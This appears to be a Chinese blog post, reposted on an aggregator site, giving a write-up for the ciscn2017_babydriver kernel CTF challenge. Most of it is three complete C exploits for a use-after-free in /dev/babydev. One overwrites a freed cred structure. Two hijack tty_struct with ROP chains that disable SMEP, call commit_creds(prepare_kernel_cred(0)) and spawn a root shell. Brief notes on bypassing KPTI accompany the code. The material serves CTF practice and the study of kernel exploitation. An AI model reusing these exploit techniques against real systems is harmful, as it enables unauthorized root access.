kernel UAF && tty_struct
2022-05-03 21:34
253 查看
#kernel UAF && 劫持tty_struct
####ciscn2017_babydriver exp1
fork进程时会申请堆来存放
cred。cred结构大小为0xA8。修改
cred里的
uid,
gid为0,即可get root
#include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> #include <sys/wait.h> int main() { int fd1 = open("/dev/babydev", 2); int fd2 = open("/dev/babydev", 2); char buf[28] = {0}; if(fd1 < 0 || fd2 < 0) { puts("[-] open error"); exit(-1); } ioctl(fd1, 0x10001, 0xa8); close(fd1); int pid = fork(); if(pid < 0) { puts("[-] fork error"); exit(-1); } else if(pid == 0) { write(fd2, buf, 28); if(getuid() == 0) { puts("[+] root now"); system("/bin/sh"); } } else { wait(NULL); } close(fd2); return 0; }
打开
ptmx时会申请一个大小为
0x2e0的结构体
tty_struct,
(size_t)tty_struct[3]的位置是
tty_operations里面存放了函数指针,劫持这个结构体可实现栈迁移。
劫持
write指针,则
rax是
tty_operations的地址,劫持
ioctl指针,则
rcx是
tty_operations的地址
补充一下:在开启
KPTI的情况下直接返回用户态会
segmentation fault,可以把原来的返回地址
get_shell函数设为
signal信号的处理函数,这样原先的 swapgs ; iretq 的方法就可以继续用了。(
signal(11, (size_t)get_shell)),也可以用最后一个
exp的方法。
当然我们可以直接用
swapgs_restore_regs_and_return_to_usermode直接绕过
KPTI,可能由于本题内核是一个过渡版本还没有
KPTI而是
PTI,我并没能找到这个函数。
exp2
#include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> size_t vmlinux_base, offset, commit_creds = 0xffffffff810a1420, prepare_kernel_cred = 0xffffffff810a1810; size_t user_cs, user_ss, user_sp, user_rflags; size_t raw_vmlinux_base = 0xffffffff81000000; void save_status() { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[+] save the state success!"); } void get_shell() { if (getuid() == 0) { puts("[+] get root"); system("/bin/sh"); puts("[*] get shell"); } else { puts("[-] get shell error"); sleep(5); exit(0); } } void get_root() { //commit_creds(prepare_kernel_cred(0)) void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred; void (*cc)(void *) = (void (*)(void *))commit_creds; (*cc)((*pkc)(0)); } int main() { signal(11, (size_t)get_shell); size_t rop[0x100] = {0}; size_t user_buf[0x100] = {0}; size_t fake_tty_struct[4] = {0}; size_t fake_tty_operations[35] = {0}; save_status(); int fd1 = open("/dev/babydev", 2); int fd2 = open("/dev/babydev", 2); if(fd1 <0 || fd2 < 0) { puts("[-] open babydev error"); sleep(5); exit(0); } ioctl(fd1, 0x10001, 0x2e0); close(fd1); int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY); if(fd_tty < 0) { puts("[-] open ptmx error"); sleep(5); exit(0); } int i = 0; rop[i++] = 0xffffffff810d238d; // pop rdi; ret; rop[i++] = 0x6f0; rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret; rop[i++] = 0; rop[i++] = (size_t)get_root; rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret; rop[i++] = 0; rop[i++] = 0xffffffff814e35ef; // iretq; ret; rop[i++] = (size_t)get_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; fake_tty_operations[7] = 0xffffffff8181bfc5; // mov rsp, rax; fake_tty_operations[0] = 0xffffffff8100ce6e; // pop rax; ret; fake_tty_operations[1] = (size_t)rop; fake_tty_operations[2] = 0xffffffff8181bfc5; // mov rsp, rax; read(fd2, fake_tty_struct, 32); fake_tty_struct[3] = (size_t)fake_tty_operations; write(fd2, fake_tty_struct, 32); write(fd_tty,"FXC",3); return 0; }
exp3
#define _GNU_SOURCE #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> #include <sched.h> #include <errno.h> #include <pty.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/syscall.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/ipc.h> #include <sys/sem.h> typedef int __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420; // commit_creds _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810; // prepare_kernel_cred size_t vmlinux_base, offset; size_t user_cs, user_ss, user_sp, user_rflags; size_t raw_vmlinux_base = 0xffffffff81000000; void save_status() { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("[+] save the state success!"); } void set_affinity(int which_cpu) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(which_cpu, &cpu_set); if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) { perror("sched_setaffinity()"); exit(EXIT_FAILURE); } } void get_shell() { if (getuid() == 0) { puts("[+] get root"); char *shell = "/bin/sh"; char *args[] = {shell, NULL}; execve(shell, args, NULL); } else { puts("[-] get shell error"); sleep(3); exit(0); } } void get_root(void) { commit_creds(prepare_kernel_cred(0)); //void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred; //void (*cc)(void *) = (void (*)(void *))commit_creds; //(*cc)((*pkc)(0)); } int main() { //signal(11, (size_t)get_shell); size_t rop[0x100] = {0}; size_t user_buf[0x100] = {0}; size_t fake_tty_struct[4] = {0}; size_t fake_tty_operations[35] = {0}; save_status(); set_affinity(0); int fd1 = open("/dev/babydev", 2); int fd2 = open("/dev/babydev", 2); if(fd1 <0 || fd2 < 0) { puts("[-] open babydev error"); sleep(3); exit(0); } ioctl(fd1, 0x10001, 0x2e0); close(fd1); int i = 0; rop[i++] = 0xffffffff810d238d; // pop rdi; ret; rop[i++] = 0x6f0; rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret; rop[i++] = 0; rop[i++] = (size_t)get_root; rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret; rop[i++] = 0; rop[i++] = 0xffffffff814e35ef; // iretq; ret; rop[i++] = (size_t)get_shell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; fake_tty_operations[12] = 0xffffffff81007808; // xchg eax, esp; ret; size_t fake_stack = 0xffffffff81007808 & 0xffffffff; size_t mmap_base = fake_stack & 0xfffff000; if(mmap((void *)mmap_base, 0x30000, 7, 0x22, -1, 0) != (void *)mmap_base) { puts("[-] mmap error"); sleep(3); exit(0); } else puts("[+] mmap success"); memcpy((void *)fake_stack, rop, sizeof(rop)); int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY); if(fd_tty < 0) { puts("[-] open ptmx error"); sleep(3); exit(0); } read(fd2, fake_tty_struct, 32); fake_tty_struct[3] = (size_t)fake_tty_operations; write(fd2, fake_tty_struct, 32); ioctl(fd_tty, 0, 0); return 0; }
相关文章推荐
- 移植2.6.31遇到的问题(1):'struct uart_info' has no member named 'tty'
- error C2011: 'fd_set' : 'struct' type redefinition 的原因(转)
- 80端口被NT kernel & System 占用pid 4
- error C2665: 'ostream_iterator<int,char,struct std::char_traits<char> >::ostream_iterator<int,char,s
- PyQt4在spyder中使用,程序只能运行一次,第二次运行报错:It seems the kernel died unexpectedly. Use 'Restart kernel' to cont
- epoll_create & epoll_ctl & epoll_wait Kernel实现 -- Kernel 3.0.8
- 一个详细介绍CPU & Memory & Kernel的博客
- struct && class
- 结构体定义 typedef struct …
- struct和typedef struct的区…
- undefined reference to `png_create_write_struct'问题解决
- KernelPanic·并发并行专题
- struct device dev;&nbs…
- NT kernel && system 占用80端口
- Snow.obj : error LNK2005: "unsigned char * __cdecl LoadBitmapFile(char *,struct tagBITMAPINFOHEADE
- [Linux][2011-5-25]Linux "struct stat" 结构 & stat(),lstat(),fstat()
- 移植sbull至kernel version > 2.6.31
- Re: Can't install nvidia devdriver in FC15 after kernel update to 2.6.40-4
- imx6 reboot指令无法重启 & kernel 停留在start kernel ......
- struct tm && ctime localtime mktime